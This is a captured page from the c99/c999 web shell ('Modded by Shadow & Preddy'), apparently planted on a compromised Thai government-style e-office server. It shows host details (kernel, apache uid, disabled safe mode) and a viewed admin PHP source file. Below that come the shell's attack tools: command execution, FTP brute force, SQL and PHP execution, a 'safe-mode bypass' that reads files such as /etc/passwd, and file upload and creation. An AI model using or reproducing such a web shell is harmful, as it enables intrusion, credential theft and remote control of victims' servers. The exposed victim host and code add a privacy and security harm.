!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     docLineConfig.php (15.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../link/keyThai.php";
include_once 
"getPrefix.php";
include_once 
"funct.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addConfig" name="addConfig" src="" style="width:0px;height:0px;border:0"></iframe>
<br>
<table  width=800  align="center">
<tr><td height="150">
<fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">จัดการข้อมูลพื้นฐานในงานสารบรรณ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">กำหนดลำดับหน้าที่งานสารบรรณของบุคคลทีละหน่วยงาน</font></legend>
           <form name="ff"  METHOD="POST" action="searchPsTable.php" target="addConfig"><? // // target="addConfig"  ?>
      <table border="0" align="center" width="100%"><tr><td align="center">
            <table width="87%" height="21" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
            <tr><td width="13%" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>หน่วยงาน :: </strong>
       </font></td>
                  <td width="87%" align="left">
                   <select name="deptId" id="deptId" onChange='return showdept2();' >
                      <option value="0">- เลือกหน่วยงาน -</option>
                      <? $oDP->SearchBydeptDateDocGroup($oDP2->SearchMaxDocGroup());
                            while(
$oDP->GetRecord()){?>
                      <option value="<? echo $oDP->deptId;?><? if($oDP->deptId==$deptId){   echo "selected";   }?>><? echo $oDP->deptName?></option>
                      <? ?>
                    </select>
                    <input type="hidden" name="method" id="method"  value="pp">
                    <input type="hidden" name="showdeptId" id="showdeptId" >    
                    </td>
                </tr> 
        </table><br>
            <? if($deptId!="" && $deptId!="0"){ ?>
            
            <table width="100%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
                <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>"> 
                  <td width="4%" align="center"><strong>ลำดับ</strong></td>
                  <td width="27%" align="center"><strong>ตำแหน่ง</strong></td>
                  <td colspan="2" align="center" ><strong>บุคลากร</strong><strong></strong></td>
                  <td width="6%" align="center"><strong>เสนอ<br>ลงนาม</strong></td>
                  <td width="5%" align="center"><strong>ลงนาม</strong></td>
                  <td width="5%" align="center"><strong>ส่งผ่าน</strong></td>
                  <td width="4%" align="center"><strong>ส่ง</strong></td>
                  <td width="9%" align="center"><strong>ดูเส้นทาง<br>
                   เดินหนังสือ</strong></td>
                   <td width="6%" align="center"><strong>active</strong></td>
                </tr>
                <? $oDlc->SearchByDeptMaxDocGroup($deptId,$oDP2->SearchMaxDocGroup());
                    
$i=0;
                   while(
$oDlc->GetRecord()){
                       
$mainposition=0;
                    
$Dlpname="";
                   
?>
                <tr> 
                  <td align="center"><? echo a2th($oDlc->DlcSeq); ?></td>
                  <td align="left" >
                  <? $oDlp2->SearchByKey($oDlc->DlpID);  $oDlp2->GetRecord(); 
                        if(
$oDlp2->DlpPID=="0" || $oDlp2->DlpPID==""){    $mainposition=1;?>
                      <select name="DlpID[<? echo $i?>]" onChange="return showdept('newposition');">
                      <option value="0">- เลือกตำแหน่งงาน -</option>
                      <? $oDlp->RSdocLinePositionParentorderByDlpOrder();
                            while(
$oDlp->GetRecord()){?>
                      <option value="<? echo $oDlp->DlpID;?><? if($oDlp->DlpID==$oDlc->DlpID){   echo "selected";  $Dlpname=$oDlp->DlpName; }?>><? echo $oDlp->DlpName?></option>
                      <? ?>
                    </select>
                    <? }else{  echo "&nbsp;".$oDlp2->DlpName;  ?> <input type="hidden" name="DlpID[<? echo $i?>]" id="DlpID[<? echo $i?>]"  value="<? echo $oDlc->DlpID?>"><? }?>
                    </td>
                      <? $oPS->SearchByKey($oDlc->personId);  $oPS->GetRecord();?>
                  <td width="24%" align="left"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></td>
                  <td align="center" width="2%"><img src="../picture/search2.jpg" title="ค้นหา"  border="0" style="cursor:pointer;" onClick = "searchps('<? echo $oDlc->DlcID;?>','<? echo $oDlc->deptId;?>','<? echo 'caseDlcID';?>')"></td>
                  <td align="center"><input type="checkbox" name="DlcPropose[<? echo $i?>]" value="Y" <? if($oDlc->DlcPropose=="Y"){ echo "checked"; }?> onClick="return showdept();" <? if($oDlp2->DlpPropose=='N'){  echo 'disabled'; }?>></td>
                  <td align="center"><input type="checkbox" name="DlcSign[<? echo $i?>]" value="Y" <? if($oDlc->DlcSign=="Y"){ echo "checked"; }?> onClick="return showdept();" <? if($oDlp2->DlpSign=='N'){  echo 'disabled'; }?>></td>
                  <td align="center"><input type="checkbox" name="DlcByPass[<? echo $i?>]" value="Y" <? if($oDlc->DlcByPass=="Y"){ echo "checked"; }?> onClick="return showdept();" <? if($oDlp2->DlpByPass=='N'){  echo 'disabled'; }?>></td>
                  <td align="center"><input type="checkbox" name="DlcSend[<? echo $i?>]" value="Y" <? if($oDlc->DlcSend=="Y"){ echo "checked"; }?> onClick="return showdept();" <? if($oDlp2->DlpSend=='N'){  echo 'disabled'; }?>></td>
                  <td align="center"><input type="checkbox" name="DlcView[<? echo $i?>]" value="Y" <? if($oDlc->DlcView=="Y"){ echo "checked"; }?> onClick="return showdept();" <? if($oDlp2->DlpView=='N'){  echo 'disabled'; }?>></td>
                  <td align="center"><input type="checkbox" name="DlcActive[<? echo $i?>]" value="Y" <? if($oDlc->DlcActive=="Y"){ echo "checked"; }?> onClick="return showdept();" ></td>
                </tr>
                <? if($mainposition==&& $oDlp2->GsarabunStaff=='Y' && $oSys->useDlcIDSecond=="Y"){?>
                <?   $k=0;
                        
$oDlc2->SearchDlcIDSecond($deptId,$oDlc->docGroup,$oDlc->DlcID);
                        while(
$oDlc2->GetRecord()){                
                
?>
                <tr ><td height="25" align="center" bgcolor="#E6E6E6">&nbsp;</td><td>&nbsp;<? if($k==0){?>&nbsp;<img src="../picture/new.gif" title="เพิ่มผู้ช่วย"  border="0" style="cursor:pointer;" onClick = "searchps('<? echo $oDlc->DlcID;?>','<? echo $oDlc->deptId;?>','<? echo 'caseDlcIDSecond';?>')"><? }?>&nbsp;<? if($k==0){   echo "ผู้ช่วย".$Dlpname; } ?></td>
                <td><? $oPS->SearchByKey($oDlc2->personId);  $oPS->GetRecord();?><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></td>
                <td align="center"><img src="../picture/del.gif" title="ลบผู้ช่วย"  border="0" style="cursor:pointer;" onClick = "return setDelDlcActiveDlcIDSecond('<? echo $oDlc2->DlcID;?>')"></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td align="center"><input type="checkbox" name="DlcActiveDlcIDSecond[<? echo $oDlc2->DlcID?>]" value="Y" <? if($oDlc2->DlcActive=="Y"){ echo "checked"; }?> onClick="return setDlcActiveDlcIDSecond('<? echo $oDlc2->DlcID;?>');" ></td></tr>
                <?  $k++; }
                        if(
$k==0){ ?>
                <tr ><td height="25" align="center"  bgcolor="#E6E6E6">&nbsp;</td><td>&nbsp;<img src="../picture/new.gif" title="เพิ่มผู้ช่วย"  border="0" style="cursor:pointer;" onClick = "searchps('<? echo $oDlc->DlcID;?>','<? echo $oDlc->deptId;?>','<? echo 'caseDlcIDSecond';?>')">&nbsp;<? if($k==0){   echo "ผู้ช่วย".$Dlpname; } ?>&nbsp;</td><td>&nbsp;</td><td align="center"></td>        
                <?  }
                }
?>
                <input type="hidden" name="DlcSeq[<? echo $i?>]" id="DlcSeq[<? echo $i?>]"  value="<? echo $oDlc->DlcSeq?>">
                <input type="hidden" name="DlcID[<? echo $i?>]" id="DlcID[<? echo $i?>]"  value="<? echo $oDlc->DlcID?>">
                <input type="hidden" name="personId[<? echo $i?>]" id="personId[<? echo $i?>]"  value="<? echo $oDlc->personId?>">
                <input type="hidden" name="DlcSeq[<? echo $i?>]" id="DlcSeq[<? echo $i?>]"  value="<? echo $oDlc->DlcSeq?>">
                 <? $i++;  }  ?>
                 <?  if($addline=="1"){    ?>    
                <tr> 
                  <td align="center"><? echo a2th(($oDlc->SearchMaxDeptDlcSeq($deptId)+1)); ?></td>
                  <td align="left" >
                      <select name="DlpIDadd" id="DlpIDadd" onChange="return showdept();">
                      <option value="0">- เลือกตำแหน่งงาน -</option>
                      <? $oDlp->RSdocLinePositionParentorderByDlpOrder();
                            while(
$oDlp->GetRecord()){?>
                      <option value="<? echo $oDlp->DlpID;?>"><? echo $oDlp->DlpName?></option>
                      <? ?>
                    </select></td>
                      <? $oPS->SearchByKey($oDlc->personId);  $oPS->GetRecord();?>
                  <td  align="left" colspan="2"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></td> 
                  <td align="center"><input type="checkbox" name="DlcProposeadd" disabled ></td>
                  <td align="center"><input type="checkbox" name="DlcSignadd" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcByPassadd" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcSendadd" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcViewadd" disabled></td>
                   <td align="center"><input type="checkbox" name="DlcActiveadd" disabled></td>
                </tr>
                <input type="hidden" name="DlcIDadd" id="DlcIDadd"  value="<? echo ($oDlc->SearchMaxDlc()+1); ?>">
                <input type="hidden" name="docGroupadd"  id="docGroupadd"  value="<? echo $oDlc->SearchMaxDocGroup(); ?>">
                <input type="hidden" name="personIdadd"  id="personIdadd" value="<? echo $oDlc->personId?>">
                <input type="hidden" name="DlcSeqadd" id="DlcSeqadd"  value="<? echo ($oDlc->SearchMaxDeptDlcSeq($deptId)+1); ?>">
                <?    }  //new line?>
              </table>
              <table width="100%" height="22" border="0" align="center" cellpadding="0" cellspacing="0" >
              <tr><td colspan="9">&nbsp;</td></tr>
              <tr><td align="right" colspan="9">
              <? if($deptId!="" && $deptId!="0"){ 
                if(
$i==0){
                    if(
$oDlc3->SearchHaveStaffCenter(SearchDlpIDSarabunCenter(),$oDP2->SearchMaxDocGroup())>0){
                        
$havestaffcenter=1;
                    }
             
?>             
              ลักษณะของหน่วยงาน<select name="selecttemplate" id="selecttemplate" onChange="return checkStaff('<? echo $havestaffcenter;?>')">
              <option value="1" selected>สารบรรณย่อย</option>
              <option value="2" >สารบรรณกลาง</option>
              &nbsp;<input type="button" name="addLine" value="เพิ่มตำแหน่ง" onClick="settemplate('<? echo $deptId?>','<? echo $oDP2->SearchMaxDocGroup(); ?>')" <?    if($oDlc->SearchDeptconfirm($deptId)=="Y"){  echo "disabled"; } ?>>
              </select>
              <? }?>
              <? ?>
              <? if($oDlc->SearchMaxDeptDlcSeq($deptId)!=0){?>
              <input type="submit" name="addconfirm" value="ยืนยันการใช้งาน" onClick="return checkFormat2('<? echo $deptId?>');" <?    if($oDlc->SearchDeptconfirm($deptId)=="Y"){  echo "disabled"; } ?>>
              <input type="submit" name="addconfirm" value="ลบข้อมูล" onClick="return checkFormat3('<? echo $deptId?>');">
              <? ?> 
              </td></tr>
              </table>
               <input type="hidden" name="fconfirm"  id="fconfirm" >
               <input type="hidden" name="fdelete" id="fdelete" >
               <input type="hidden" name="method"  id="method"  value="pp">
               <input type="hidden" name="method2"  id="method2" >
               <input type="hidden" name="newposition" id="newposition">
               <input type="hidden" name="countline"  id="countline"  value="<? echo $i?>">
               <input type="hidden" name="addline" id="addline" value="<? echo $addline;?>">
               <input type="hidden" name="selectDlcIDSecond" id="selectDlcIDSecond" >        
              <? }    //if $deptId!="" && $deptId!="0" ?>
      </td></tr>
      <tr><td>&nbsp;</td></tr>
      <tr><td align="center"><input type="button" name="cancel" value="กลับสู่เมนูหลัก" onClick="location.href = '?mm=1'"></td></tr>
      <tr><td align="right"><a href="comfirmdoclineconfig.php">[&nbsp;<img src="../picture/yes.png" border="0" align="absmiddle">&nbsp;<strong>ยืนยันการใช้งานทุกหน่วยงาน</strong>]</a></td></tr>
      <tr><td align="right"><a href="searchPrintDocLineConfig.php?deptId=<? echo $deptId;?>">[&nbsp;<img src="../picture/search.gif" title="ค้นหา"  border="0" style="cursor:pointer;">&nbsp;<strong>สรุปลำดับหน้าที่งานสารบรรณของบุคคลทีละหน่วยงาน</strong>]</a></td></tr>
      </table>
    </form>
</fieldset>
      <br>
      <br>
<br><br> <br><br>
</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function delDlcIDSecond(p){
        var agree=confirm("คุณต้องการลบผู้ช่วยนี้ใช่หรือไม่ ?");
        if (agree){
        //document.ff.fconfirm.value="1";
        //return true ;
        }else{
            //return false ;
        }    
}
function setDlcActiveDlcIDSecond(p){
        document.ff.action="processDlcIDSecond.php";
        document.ff.selectDlcIDSecond.value=p;
        document.ff.method2.value="add";
        document.ff.submit();
}
function setDelDlcActiveDlcIDSecond(p){
        var agree=confirm("คุณต้องการลบผู้ช่วยนี้ใช่หรือไม่ ?");
        if (agree){
        document.ff.action="processDlcIDSecond.php";
        document.ff.selectDlcIDSecond.value=p;
        document.ff.method2.value="del";
        document.ff.submit();
        return true ;
        }else{
            return false ;
        }
}
function checkFormat2(p){
        window.alert("หมายเหตุ :: เมื่อกดยืนยันการใช้งานแล้ว\nจะไม่สามารถเพิ่มตำแหน่งงานใหม่ให้กับ \nหน่วยงานนี้ได้อีก");
        var agree=confirm("คุณต้องการยืนยันการใช้งานใช่หรือไม่ ?");
        if (agree){
        document.ff.fconfirm.value="1";
        return true ;
        }else{
            return false ;
        }    
}
function checkFormat3(p){
        window.alert("หมายเหตุ :: การลบข้อมูลหมายถึงหน้าที่งานสารบรรณ\nที่กำหนดขึ้นทั้งหมดของหน่วยงานนี้จะถูกลบ");
        var agree=confirm("คุณต้องการลบข้อมูล\nหน้าที่งานสารบรรณนี้ใช่หรือไม่ ?");
        if (agree){
        document.ff.fdelete.value="1";
        return true ;
        }else{
            return false ;
        }    
}
function showdept(p){
    document.ff.newposition.value=p;
    document.ff.submit();
}
function showdept2(){
    document.ff.showdeptId.value="1";
    document.ff.submit();
}
 function searchps(p,q,c){ 
             FileName = "searchPsTable.php?DlcID="+p+"&deptId="+q+"&casec="+c;
            var w=360;  
            var h=300;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
function checkStaff(chk){
    if(document.getElementById('selecttemplate').value==2){
        if(chk==1){
            alert("มีหน่วยงานย่อยอื่นๆ ได้กำหนดตำแหน่งสารบรรณกลางแล้ว");
            document.getElementById('selecttemplate').value=1;
            return false ;
        }
    }
}
function settemplate(deptId,MaxDocGroup){
        selecttemplate=document.getElementById('selecttemplate').value
        window.location.href="processSetTemplateDlcid.php?deptId="+deptId+"&selecttemplate="+selecttemplate+"&method=add&MaxDocGroup="+MaxDocGroup;
        document.getElementById('method').value="add";    
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0169 ]--